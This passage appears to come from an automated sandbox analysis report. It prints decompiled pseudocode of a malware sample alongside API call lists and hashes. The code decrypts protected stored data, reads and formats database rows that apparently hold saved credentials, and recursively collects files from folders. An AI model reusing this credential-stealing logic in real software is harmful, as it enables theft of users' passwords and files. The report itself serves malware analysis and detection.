							_t177 = 0xfffffffd;
							return _t177;
						}
						_t239 = 0xfffffffe;
						L22:
						LocalFree(_t230);
						LocalFree(_a16);
						return _t239;
					}
					_t239 = _t235 | 0xffffffff;
					goto L22;
				}
			}

0x00402c22
0x00402c24
0x00402c31
0x00402c37
0x00402c3e
0x00402c46
0x00402c4b
0x00402c5d
0x00402c66
0x00402c69
0x00402c6e
0x00402c7b
0x00402c7e
0x00402c8f
0x00402c91
0x00402c94
0x00402c99
0x00402c99
0x00402cb1
0x00402cb9
0x00402cc1
0x00402cc4
0x00402cc9
0x00402cc9
0x00402ccf
0x00402cda
0x00402cda
0x00402ccf
0x00402ce0
0x00402ce5
0x00402ce5
0x00402cef
0x00402cf4
0x00402cf4
0x00402cfe
0x00402d03
0x00402d03
0x00402d0b
0x00402d0e
0x00402d0e
0x00402d16
0x00402d19
0x00402d19
0x00402d1f
0x00402d1f
0x00402d22
0x00402d24
0x0040309b
0x0040309b
0x00000000
0x00402d2a
0x00402d3d
0x00402d4f
0x00402d61
0x00402d73
0x00402d85
0x00402d97
0x00402da9
0x00402dba
0x00402dcb
0x00402dd9
0x00402de6
0x00402de8
0x00402ded
0x00402df7
0x004030a2
0x004030a3
0x004030a9
0x004030ac
0x00000000
0x004030bb
0x00402dff
0x00402e03
0x00402e0b
0x00000000
0x00000000
0x00402e11
0x00402e15
0x00402e18
0x00402e22
0x00402e29
0x00402e2d
0x00402e5a
0x00402e60
0x00402e63
0x00402e65
0x00402e8c
0x00402e93
0x00402e96
0x00403064
0x00403064
0x00403066
0x00403069
0x00403069
0x00403072
0x0040307b
0x00403086
0x0040308c
0x00403090
0x00403095
0x00403095
0x00000000
0x00403090
0x00402e9c
0x00402e9f
0x00402ea4
0x00402eaf
0x00402eba
0x00402ec5
0x00402ec7
0x00402ed2
0x00402ed5
0x00402edb
0x00402ede
0x00402ee1
0x00402ee3
0x00000000
0x00000000
0x00402eee
0x00402ef6
0x00402ef9
0x00402efe
0x00402f01
0x00402f09
0x00402f0f
0x00402f14
0x00402f1a
0x00402f20
0x00402f23
0x00402f27
0x00402f29
0x00403047
0x00403048
0x00000000
0x00403048
0x00402f36
0x00402f42
0x00402f44
0x00402f49
0x00402f50
0x00402f56
0x00402f58
0x00402fbe
0x00402fc7
0x00402fd7
0x00402fdd
0x00402fdf
0x00403039
0x00403039
0x0040303b
0x0040303e
0x0040303e
0x00403044
0x00000000
0x00403044
0x00402fe7
0x00402feb
0x00402ff4
0x00402ffe
0x00403004
0x00403012
0x00403014
0x0040301f
0x0040301f
0x00403021
0x00403025
0x0040302a
0x0040302a
0x00403033
0x00403033
0x00000000
0x00403033
0x00402f6f
0x00402f72
0x00402f78
0x00402f7a
0x00402f89
0x00402f8f
0x00402f9d
0x00402f9f
0x00402faa
0x00402faa
0x00402f9f
0x00402fac
0x00402fb0
0x00000000
0x00402fb6
0x00403033
0x00000000
0x00403033
0x0040304e
0x00403051
0x00403058
0x00403058
0x00403061
0x00000000
0x00403061
0x00402e68
0x00402e71
0x00402e7a
0x00402e83
0x00000000
0x00402e83
0x00402e31
0x00402e32
0x00402e33
0x00402e3c
0x00000000
0x00402e42
0x00402e24
0x00000000
0x00402e24

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?), ref: 00402C27
StrCpyW.SHLWAPI(00000000,?), ref: 00402C31

Part of subcall function 00401C00: CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C1F
Part of subcall function 00401C00: LocalAlloc.KERNEL32(00000040,K,@,?,00402C4B,?), ref: 00401C2D
Part of subcall function 00401C00: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C43
Part of subcall function 00401C00: LocalFree.KERNEL32(00000000,?,00402C4B,?), ref: 00401C51

LocalAlloc.KERNEL32(00000040,?), ref: 00402C54
LocalAlloc.KERNEL32(00000040,00000400), ref: 00402C85
LocalFree.KERNEL32(00000000), ref: 00402C99
CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00402CB1
StrCpyW.SHLWAPI(00000000,'@), ref: 00402CD4
LocalFree.KERNEL32(00000000), ref: 00402CE5
LocalFree.KERNEL32(00000000), ref: 00402CF4
LocalFree.KERNEL32(00000000), ref: 00402D03
LocalFree.KERNEL32(00000000), ref: 00402D0E
LocalFree.KERNEL32(00000000), ref: 00402D19
GetProcAddress.KERNEL32('@), ref: 00402D31
GetProcAddress.KERNEL32('@), ref: 00402D43
GetProcAddress.KERNEL32('@), ref: 00402D55
GetProcAddress.KERNEL32('@), ref: 00402D67
GetProcAddress.KERNEL32('@), ref: 00402D79
GetProcAddress.KERNEL32('@), ref: 00402D8B
GetProcAddress.KERNEL32('@), ref: 00402D9D
GetProcAddress.KERNEL32('@), ref: 00402DAF
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402DC2
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402DCD
PathCombineW.SHLWAPI(00000000,?), ref: 00402DE0
CopyFileW.KERNELBASE(00000000,'@,00000000), ref: 00402E03
LocalFree.KERNEL32(00000000), ref: 00402E33
LocalFree.KERNEL32(00000000), ref: 00402E3C
LocalFree.KERNEL32(00000000), ref: 00402E68
LocalFree.KERNEL32(00000000), ref: 00402E71
LocalAlloc.KERNEL32(00000040,00000040), ref: 00402F01
lstrcpy.KERNEL32(00000000,00000000), ref: 00402F09
LocalAlloc.KERNEL32(00000040,00002000), ref: 00402F36
lstrcmp.KERNEL32(?), ref: 00402F50
LocalAlloc.KERNEL32(00000040,00000000), ref: 00402F62
wsprintfW.USER32 ref: 00402F89
lstrlenW.KERNEL32(?), ref: 00402F97
LocalFree.KERNEL32(?), ref: 00403033
LocalFree.KERNEL32(00000000), ref: 004030A3
DeleteFileW.KERNEL32('@), ref: 004030AC
LocalFree.KERNEL32(?), ref: 004030B5

Strings

'@, xrefs: 00402E11, 00402CC1, 00402CC9, 00402CD1, 00402E14
'@, xrefs: 00402D1F, 00402DE8, 004030A9, 00402DFF, 00402E15, 00402D30, 00402D42, 00402D54, 00402D66, 00402D78, 00402D8A, 00402D9C, 00402DAE

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$Free$Alloc$AddressProc$Crypt$BinaryFileString$CombineCopyDataDeletePathUnprotectlstrcmplstrcpylstrlenwsprintf
String ID: '@$'@
API String ID: 3433102309-3155417233
Opcode ID: f98ad2032eed75e619ece0feb03bff25382501cd50211f2ca698382b11f5515f
Instruction ID: 69a5648fc5641a126228374279f544b3172d723c6cdb69fc63623b3d486549b0
Opcode Fuzzy Hash: f98ad2032eed75e619ece0feb03bff25382501cd50211f2ca698382b11f5515f
Instruction Fuzzy Hash: 74E15E71A01205EFDB219FA0ED08AAEBBB5FF04702F504475F605B22A4DB794B52DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00403614 Relevance: 72.4, APIs: 48, Instructions: 403
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00403614(WCHAR* __ecx, WCHAR** __edx, void* __eflags, WCHAR* _a8, WCHAR* _a12, struct HINSTANCE__* _a16) {
				void* _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				void* _v16;
				WCHAR* _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				WCHAR* _v48;
				void* _v52;
				char _v56;
				void* _v60;
				void* _v64;
				char _v68;
				void* _v72;
				char _v76;
				void* _v80;
				char _v84;
				void* _v88;
				char _v92;
				void* _t110;
				void* _t120;
				int _t138;
				void* _t140;
				WCHAR* _t142;
				void* _t143;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr _t151;
				signed int _t152;
				void* _t153;
				void* _t154;
				void* _t155;
				void* _t156;
				void* _t157;
				WCHAR* _t158;
				void* _t159;
				void* _t160;
				WCHAR* _t162;
				WCHAR* _t164;
				WCHAR* _t169;
				void* _t172;
				int _t173;
				WCHAR* _t179;
				int _t180;
				void* _t186;
				void* _t195;
				WCHAR** _t198;
				WCHAR* _t200;
				WCHAR* _t201;
				WCHAR* _t203;
				void* _t246;
				void* _t248;
				intOrPtr* _t249;
				void* _t250;
				void* _t251;
				struct HINSTANCE__* _t252;
				WCHAR* _t253;
				signed int _t254;
				WCHAR* _t255;
				signed int _t258;
				intOrPtr* _t259;
				void* _t260;

				_t198 = __edx;
				_v48 = __ecx;
				_t110 = StrCpyW(LocalAlloc(0x40, 0x400), _a12);
				_v8 = _v8 & 0x00000000;
				_t246 = _t110;
				E00401C00(_t246,  &_v8,  &_v56);
				 *_t259 = 0x200;
				_t250 = LocalAlloc(0x40, ??);
				_v52 = _t250;
				E00401D35(_v8,  &_v52, _t246, _v56);
				_v24 = _v24 & 0x00000000;
				_v64 = _t250;
				_v68 = 0x200;
				_t251 = LocalAlloc(0x40, 0x400);
				_v20 = _t251;
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				_t120 =  *0x4230ac( &_v68,  &_v24, 0, 0, 0, 0,  &_v76); // executed
				if(_t120 != 0) {
					_t195 = E00401B8A(_v72,  &_v20, _v76);
					_t251 = _v20;
					if(_t195 != 0) {
						 *_t198 = StrCpyW( *_t198, _t251);
					}
				}
				if(_v24 != 0) {
					LocalFree(_v24);
				}
				if(_v64 != 0) {
					LocalFree(_v64);
				}
				if(_v72 != 0) {
					LocalFree(_v72);
				}
				if(_t251 != 0) {
					LocalFree(_t251);
				}
				if(_t246 != 0) {
					LocalFree(_t246);
				}
				_t252 = _a16;
				_t270 = _t252;
				if(_t252 == 0) {
					L55:
					__eflags = 0;
					return 0;
				} else {
					 *0x4235d8 = GetProcAddress(_t252,  *0x4231bc);
					 *0x4235cc = GetProcAddress(_t252,  *0x423210);
					 *0x4235c0 = GetProcAddress(_t252,  *0x4231e0);
					 *0x4235c8 = GetProcAddress(_t252,  *0x423228);
					 *0x4235d0 = GetProcAddress(_t252,  *0x42325c);
					 *0x4235bc = GetProcAddress(_t252,  *0x4231b8);
					 *0x4235c4 = GetProcAddress(_t252,  *0x423248);
					 *0x4235d4 = GetProcAddress(_t252,  *0x4231a8);
					_t253 = LocalAlloc(0x40, 0x208);
					_v8 = LocalAlloc(0x40, 0x208);
					_t248 = PathCombineW(_t253, _a8,  *0x4231b4);
					_v60 = _t248;
					if(E0041C37E(_t248,  &_v8, _t270) == 0) {
						L57:
						LocalFree(_t248);
						DeleteFileW(_v8);
						return LocalFree(_v8) | 0xffffffff;
					}
					_t138 = CopyFileW(_t248, _v8, 0); // executed
					if(_t138 == 0) {
						goto L57;
					}
					_t140 =  *0x4235cc(_v8,  &_v20); // executed
					if(_t140 == 0) {
						__eflags = _v20;
						if(_v20 != 0) {
							_t142 =  *0x4235d8(_v20,  *0x4231d0, 0xffffffff,  &_a16, 0); // executed
							_t260 = _t259 + 0x14;
							__eflags = _t142;
							if(_t142 == 0) {
								_t143 =  *0x4235d0(_a16);
								__eflags = _t143 - 0x64;
								if(_t143 != 0x64) {
									L51:
									__eflags = _t248;
									if(_t248 != 0) {
										LocalFree(_t248);
									}
									 *0x4235c0(_a16);
									 *0x4235c8(_v20); // executed
									DeleteFileW(_v8); // executed
									__eflags = _v8;
									if(_v8 != 0) {
										LocalFree(_v8);
									}
									goto L55;
								}
								_t249 = _v48;
								_t200 = 1;
								__eflags = 1;
								do {
									_t149 =  *0x4235bc(_a16, 0);
									_v44 = _t149;
									_t150 =  *0x4235bc(_a16, 2);
									_v40 = _t150;
									_t151 =  *0x4235bc(_a16, 3);
									_v36 = _t151;
									_t152 =  *0x4235c4(_a16, _t200);
									_t254 = _t152;
									_v28 = _t254;
									_t153 =  *0x4235c4(_a16, 0);
									_t260 = _t260 + 0x28;
									__eflags = _t153 - _t200;
									if(_t153 < _t200) {
										goto L49;
									}
									_t155 =  *0x4235c4(_a16, _t200);
									__eflags = _t155 - _t200;
									if(_t155 < _t200) {
										goto L49;
									}
									_t156 =  *0x4235c4(_a16, 2);
									__eflags = _t156 - _t200;
									if(_t156 < _t200) {
										goto L49;
									}
									_t157 =  *0x4235c4(_a16, 3);
									__eflags = _t157 - _t200;
									if(_t157 < _t200) {
										goto L49;
									}
									_t158 =  *0x4235d4(_a16, _t200);
									_t60 = _t254 + 0x40; // 0x40
									_t201 = _t158;
									_v32 = _t201;
									_t159 = LocalAlloc(0x40, _t60);
									_t160 =  *0x423050(_t159, _t201);
									_v52 = _t160;
									_v12 =  *_t160;
									_v11 =  *((intOrPtr*)(_t160 + 1));
									_v10 =  *((intOrPtr*)(_t160 + 2));
									_v9 = 0;
									__eflags = _t201;
									if(_t201 == 0) {
										L48:
										LocalFree(_t160);
										_t200 = 1;
										__eflags = 1;
										goto L49;
									}
									_t162 = LocalAlloc(0x40, 0x2000);
									_t255 =  *0x4231c0; // 0x513aa98
									_t203 = _t162;
									_v48 = _t255;
									_t164 =  *0x423080( &_v12,  *0x42324c);
									__eflags = _t164;
									if(_t164 != 0) {
										_v88 = _v32;
										_v92 = 0x200;
										_t169 =  *0x4230ac( &_v92, 0, 0, 0, 0, 0,  &_v84);
										__eflags = _t169;
										if(_t169 == 0) {
											L45:
											__eflags = _t203;
											if(_t203 != 0) {
												LocalFree(_t203);
											}
											_t160 = _v52;
											goto L48;
										}
										 *((char*)(_v84 + _v80)) = 0;
										_t172 = E0041A6A3(_v80);
										_v32 = _t172;
										_t173 = wsprintfW(_t203, _t255, _t172, _v44, _v40, _v36);
										_t260 = _t260 + 0x18;
										__eflags = _t173 - lstrlenW(_v48);
										if(__eflags >= 0) {
											 *_t249 = E0041AD76( *_t249, _t203, __eflags);
										}
										__eflags = _v80;
										if(_v80 != 0) {
											LocalFree(_v80);
										}
										LocalFree(_v32);
										L44:
										goto L45;
									}
									_v16 = LocalAlloc(0x40, _v28 << 2);
									_t179 = E00401B8A(_v32,  &_v16, _v28);
									__eflags = _t179;
									if(_t179 != 0) {
										_t180 = wsprintfW(_t203, _t255, _v16, _v44, _v40, _v36);
										_t260 = _t260 + 0x18;
										__eflags = _t180 - lstrlenW(_v48);
										if(__eflags >= 0) {
											 *_t249 = E0041AD76( *_t249, _t203, __eflags);
										}
									}
									__eflags = _v16;
									if(_v16 == 0) {
										goto L45;
									} else {
										LocalFree(_v16);
										goto L44;
									}
									L49:
									_t154 =  *0x4235d0(_a16);
									__eflags = _t154 - 0x64;
								} while (_t154 == 0x64);
								_t248 = _v60;
								goto L51;
							}
							LocalFree(_t248);
							LocalFree(_v8);
							 *0x4235c8(_v20);
							_t186 = 0xfffffffd;
							return _t186;
						}
						_t258 = 0xfffffffe;
						L22:
						LocalFree(_t248);
						LocalFree(_v8);
						return _t258;
					}
					_t258 = _t253 | 0xffffffff;
					goto L22;
				}
			}

0x00403624
0x00403626
0x00403633
0x00403639
0x00403640
0x00403648
0x0040364d
0x0040365f
0x00403668
0x0040366b
0x00403670
0x0040367d
0x00403680
0x00403691
0x00403693
0x00403696
0x0040369b
0x0040369b
0x004036b3
0x004036bb
0x004036c6
0x004036cb
0x004036d1
0x004036dc
0x004036dc
0x004036d1
0x004036e2
0x004036e7
0x004036e7
0x004036f1
0x004036f6
0x004036f6
0x00403700
0x00403705
0x00403705
0x0040370d
0x00403710
0x00403710
0x00403718
0x0040371b
0x0040371b
0x00403721
0x00403724
0x00403726
0x00403aeb
0x00403aeb
0x00000000
0x0040372c
0x0040373f
0x00403751
0x00403763
0x00403775
0x00403787
0x00403799
0x004037ab
0x004037bc
0x004037cd
0x004037db
0x004037e8
0x004037ef
0x004037f9
0x00403af2
0x00403af3
0x00403afc
0x00000000
0x00403b0b
0x00403805
0x0040380d
0x00000000
0x00000000
0x0040381a
0x00403824
0x0040382b
0x0040382f
0x0040385c
0x00403862
0x00403865
0x00403867
0x0040388e
0x00403895
0x00403898
0x00403ab4
0x00403ab4
0x00403ab6
0x00403ab9
0x00403ab9
0x00403ac2
0x00403acb
0x00403ad6
0x00403adc
0x00403ae0
0x00403ae5
0x00403ae5
0x00000000
0x00403ae0
0x0040389e
0x004038a3
0x004038a3
0x004038a4
0x004038a9
0x004038b4
0x004038b7
0x004038c2
0x004038c5
0x004038cf
0x004038d2
0x004038dd
0x004038df
0x004038e2
0x004038e8
0x004038eb
0x004038ed
0x00000000
0x00000000
0x004038f7
0x004038ff
0x00403901
0x00000000
0x00000000
0x0040390c
0x00403914
0x00403916
0x00000000
0x00000000
0x00403921
0x00403929
0x0040392b
0x00000000
0x00000000
0x00403935
0x0040393d
0x00403940
0x00403945
0x00403948
0x00403950
0x00403956
0x0040395b
0x00403961
0x00403967
0x0040396a
0x0040396e
0x00403970
0x00403a94
0x00403a95
0x00403a9d
0x00403a9d
0x00000000
0x00403a9d
0x0040397d
0x00403989
0x0040398f
0x00403994
0x00403998
0x0040399e
0x004039a0
0x00403a0a
0x00403a13
0x00403a23
0x00403a29
0x00403a2b
0x00403a86
0x00403a86
0x00403a88
0x00403a8b
0x00403a8b
0x00403a91
0x00000000
0x00403a91
0x00403a33
0x00403a37
0x00403a3f
0x00403a4b
0x00403a51
0x00403a5f
0x00403a61
0x00403a6c
0x00403a6c
0x00403a6e
0x00403a72
0x00403a77
0x00403a77
0x00403a80
0x00403a80
0x00000000
0x00403a80
0x004039ba
0x004039bd
0x004039c3
0x004039c5
0x004039d5
0x004039db
0x004039e9
0x004039eb
0x004039f6
0x004039f6
0x004039eb
0x004039f8
0x004039fc
0x00000000
0x00403a02
0x00403a80
0x00000000
0x00403a80
0x00403a9e
0x00403aa1
0x00403aa8
0x00403aa8
0x00403ab1
0x00000000
0x00403ab1
0x0040386a
0x00403873
0x0040387c
0x00403885
0x00000000
0x00403885
0x00403833
0x00403834
0x00403835
0x0040383e
0x00000000
0x00403844
0x00403826
0x00000000
0x00403826

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?), ref: 00403629
StrCpyW.SHLWAPI(00000000,?), ref: 00403633

Part of subcall function 00401C00: CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C1F
Part of subcall function 00401C00: LocalAlloc.KERNEL32(00000040,K,@,?,00402C4B,?), ref: 00401C2D
Part of subcall function 00401C00: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C43
Part of subcall function 00401C00: LocalFree.KERNEL32(00000000,?,00402C4B,?), ref: 00401C51

LocalAlloc.KERNEL32(00000040,?), ref: 00403656
LocalAlloc.KERNEL32(00000040,00000400), ref: 00403687
LocalFree.KERNEL32(00000000), ref: 0040369B
CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 004036B3
StrCpyW.SHLWAPI(00000000,?), ref: 004036D6
LocalFree.KERNEL32(00000000), ref: 004036E7
LocalFree.KERNEL32(00000000), ref: 004036F6
LocalFree.KERNEL32(00000000), ref: 00403705
LocalFree.KERNEL32(00000000), ref: 00403710
LocalFree.KERNEL32(00000000), ref: 0040371B
GetProcAddress.KERNEL32(00000000), ref: 00403733
GetProcAddress.KERNEL32(00000000), ref: 00403745
GetProcAddress.KERNEL32(00000000), ref: 00403757
GetProcAddress.KERNEL32(00000000), ref: 00403769
GetProcAddress.KERNEL32(00000000), ref: 0040377B
GetProcAddress.KERNEL32(00000000), ref: 0040378D
GetProcAddress.KERNEL32(00000000), ref: 0040379F
GetProcAddress.KERNEL32(00000000), ref: 004037B1
LocalAlloc.KERNEL32(00000040,00000208), ref: 004037C4
LocalAlloc.KERNEL32(00000040,00000208), ref: 004037CF
PathCombineW.SHLWAPI(00000000,?), ref: 004037E2
CopyFileW.KERNELBASE(00000000,00000000,00000000), ref: 00403805
LocalFree.KERNEL32(00000000), ref: 00403835
LocalFree.KERNEL32(00000000), ref: 0040383E
LocalFree.KERNEL32(00000000), ref: 0040386A
LocalFree.KERNEL32(00000000), ref: 00403873
LocalAlloc.KERNEL32(00000040,00000040), ref: 00403948
lstrcpy.KERNEL32(00000000,00000000), ref: 00403950
LocalAlloc.KERNEL32(00000040,00002000), ref: 0040397D
lstrcmp.KERNEL32(?), ref: 00403998
LocalAlloc.KERNEL32(00000040,?), ref: 004039AB
LocalFree.KERNEL32(00000000), ref: 00403AF3
DeleteFileW.KERNEL32(00000000), ref: 00403AFC
LocalFree.KERNEL32(00000000), ref: 00403B05

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$Free$Alloc$AddressProc$Crypt$BinaryFileString$CombineCopyDataDeletePathUnprotectlstrcmplstrcpy
String ID:
API String ID: 3411720399-0
Opcode ID: 5be56b1ee5a35d8496cf569506091a84474b9fc4d9c907f98f8e272668fa0b30
Instruction ID: ea75a49e035e115254d6d361e4eec8f65a8f0d94d745d3794bfdfed8f88d0982
Opcode Fuzzy Hash: 5be56b1ee5a35d8496cf569506091a84474b9fc4d9c907f98f8e272668fa0b30
Instruction Fuzzy Hash: 28E14E71A00204EFDB219FA0ED48AAE7FB9FF04702F544479F505B22A0DB394A52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFCD Relevance: 68.5, APIs: 37, Strings: 2, Instructions: 249
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041EFCD(int __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, char _a20) {
				short _v556;
				struct _WIN32_FIND_DATAW _v604;
				signed int _v620;
				void* _v624;
				void* _v628;
				void* _v632;
				void* _v636;
				void* _v640;
				int _v644;
				void* _v648;
				void* _v652;
				WCHAR* _v656;
				intOrPtr _v660;
				void* _v664;
				void* _v668;
				void* __ebx;
				void* __esi;
				void* _t73;
				int _t75;
				void* _t81;
				int _t90;
				void* _t96;
				WCHAR* _t99;
				WCHAR* _t100;
				WCHAR* _t102;
				char* _t109;
				int _t113;
				WCHAR* _t114;
				WCHAR* _t115;
				int _t117;
				WCHAR* _t126;
				void* _t128;
				int _t145;
				int* _t148;
				WCHAR* _t159;
				WCHAR* _t160;
				void* _t166;
				WCHAR* _t172;
				void* _t174;
				void* _t176;
				signed int _t178;
				void* _t180;

				_t180 = (_t178 & 0xfffffff8) - 0x28c;
				_t172 = __ecx;
				_v640 = __edx;
				_v644 = __ecx;
				_t126 = StrCpyW(LocalAlloc(0x40, 0x20a), _a4);
				_v620 = _t126;
				E00401C8D(_t126, _t126, 0x104, _t172,  *0x4231cc);
				_t73 = FindFirstFileW(_t126,  &_v604); // executed
				_t166 = _t73;
				_v632 = _t166;
				if(_t166 != 0xffffffff) {
					do {
						if((_v604.ftCreationTime.dwFileAttributes & 0x00000010) == 0) {
							_t75 = E0041D123( &_v556, _a8);
							__eflags = _t75;
							if(_t75 != 0) {
								__eflags = E0041D123( &_v556, _a12);
								if(__eflags == 0) {
									_t128 = PathCombineW(LocalAlloc(0x40, 0x20a), _a4,  &_v556);
									_v664 = LocalAlloc(0x40, 0x20a);
									_t90 = E0041C37E(_t128,  &_v664, __eflags);
									__eflags = _t90;
									if(_t90 == 0) {
										L17:
										LocalFree(_v664);
										LocalFree(_t128);
										DeleteFileW(_v664);
									} else {
										__eflags = CopyFileW(_t128, _v664, 0);
										if(__eflags == 0) {
											goto L17;
										} else {
											_t96 = CreateFileW(_v664, 0x80000000, 1, 0, 4, 0, 0);
											_v644 = _t96;
											GetFileSize(_t96, 0);
											_t99 = StrCpyW(LocalAlloc(0x40, 0x618),  *0x4231b0);
											_t159 =  *0x4231ac; // 0x5139b08
											_t100 = E0041AD76(_t99, _t159, __eflags);
											_t160 =  *0x4231b0; // 0x513bc78
											_t102 = E0041AD76(E0041AD76(_t100, _t160, __eflags), _t172, __eflags);
											_v664 = LocalAlloc(0x40, 0x618);
											E004187BE(_t128 + lstrlenW(_v656) * 2,  &_v664, 0);
											_t176 = E0041AD76(_t102, _v664, __eflags);
											_v636 = _t176;
											_v644 = WideCharToMultiByte(0xfde9, 0, _t176, 0xffffffff, 0, 0, 0, 0);
											_t109 = LocalAlloc(0x40, 0x144);
											_t145 = _v644;
											_v652 = _t109;
											__eflags = _t145;
											if(_t145 == 0) {
												L16:
												LocalFree(_v668);
												LocalFree(_t176);
												LocalFree(_v664);
												LocalFree(_t128);
												goto L6;
											} else {
												_t113 = WideCharToMultiByte(0xfde9, 0, _t176, 0xffffffff, _t109, _t145, 0, 0);
												__eflags = _t113;
												if(_t113 != 0) {
													_t114 = LocalAlloc(0x40, 0x20a);
													_v628 = _v652;
													_v624 = _v648;
													_t115 = StrCpyW(_t114, _v668);
													_t55 =  &_a20; // 0x41e8ea
													_t148 =  *_t55;
													_v620 = _v620 & 0x00000000;
													_v624 = _t115;
													_t117 =  *_t148 + 1;
													__eflags = _t117;
													 *_t148 = _t117;
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													_t166 = _v644;
													_t176 = _v640;
													goto L16;
												} else {
													LocalFree(_t176);
													LocalFree(_v652);
													LocalFree(_v664);
													LocalFree(_v668);
													LocalFree(_t128);
													CloseHandle(_v648);
													DeleteFileW(_v668);
												}
											}
											goto L14;
										}
									}
								}
							}
						} else {
							if(_v556 != 0x2e && E0041D123( &_v556, _a8) != 0 && E0041D123( &_v556, _a12) == 0) {
								_t81 = PathCombineW(LocalAlloc(0x40, 0x20a), _a4,  &_v556);
								_t17 =  &_a20; // 0x41e8ea
								_t174 = _t81;
								E0041EFCD(_v656, _v652, _t174, _a8, _a12, _a16,  *_t17);
								_t180 = _t180 + 0x14;
								LocalFree(_t174);
								L6:
								L14:
								_t172 = _v660;
							}
						}
					} while (FindNextFileW(_t166,  &(_v604.ftCreationTime)) != 0);
					LocalFree(_v620);
					FindClose(_t166);
				}
				return 0;
			}

0x0041efd3
0x0041efe1
0x0041efe3
0x0041efe9
0x0041f003
0x0041f00c
0x0041f010
0x0041f01b
0x0041f021
0x0041f023
0x0041f02a
0x0041f030
0x0041f035
0x0041f0b9
0x0041f0be
0x0041f0c0
0x0041f0d2
0x0041f0d4
0x0041f0fd
0x0041f109
0x0041f10f
0x0041f114
0x0041f116
0x0041f2dc
0x0041f2e0
0x0041f2e7
0x0041f2f1
0x0041f11c
0x0041f129
0x0041f12b
0x00000000
0x0041f131
0x0041f143
0x0041f14c
0x0041f150
0x0041f16a
0x0041f170
0x0041f178
0x0041f17d
0x0041f18e
0x0041f1a8
0x0041f1b9
0x0041f1ca
0x0041f1db
0x0041f1ec
0x0041f1f0
0x0041f1f6
0x0041f1fa
0x0041f1fe
0x0041f200
0x0041f2bb
0x0041f2bf
0x0041f2c6
0x0041f2d0
0x0041f0a7
0x00000000
0x0041f206
0x0041f215
0x0041f21b
0x0041f21d
0x0041f271
0x0041f27f
0x0041f288
0x0041f28c
0x0041f292
0x0041f292
0x0041f299
0x0041f29e
0x0041f2ac
0x0041f2ac
0x0041f2ad
0x0041f2af
0x0041f2b0
0x0041f2b1
0x0041f2b2
0x0041f2b3
0x0041f2b7
0x00000000
0x0041f21f
0x0041f220
0x0041f22b
0x0041f235
0x0041f23f
0x0041f246
0x0041f251
0x0041f25b
0x0041f25b
0x0041f21d
0x00000000
0x0041f200
0x0041f12b
0x0041f116
0x0041f0d4
0x0041f037
0x0041f03d
0x0041f081
0x0041f087
0x0041f08e
0x0041f09e
0x0041f0a3
0x0041f0a7
0x0041f0a7
0x0041f261
0x0041f261
0x0041f261
0x0041f03d
0x0041f303
0x0041f30f
0x0041f316
0x0041f316
0x0041f324

APIs

LocalAlloc.KERNEL32(00000040,0000020A,00000000,00000000,00000000), ref: 0041EFED
StrCpyW.SHLWAPI(00000000,00000000), ref: 0041EFF7
FindFirstFileW.KERNELBASE(00000000,?), ref: 0041F01B
LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041F072
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 0041F081

Part of subcall function 0041EFCD: LocalFree.KERNEL32(00000000), ref: 0041F0A7

LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041F0E1
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 0041F0F0
LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041F0FF
CopyFileW.KERNEL32(00000000,?,00000000), ref: 0041F123
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 0041F143
GetFileSize.KERNEL32(00000000,00000000), ref: 0041F150
LocalAlloc.KERNEL32(00000040,00000618), ref: 0041F15D
StrCpyW.SHLWAPI(00000000), ref: 0041F16A
LocalAlloc.KERNEL32(00000040,00000618), ref: 0041F19C
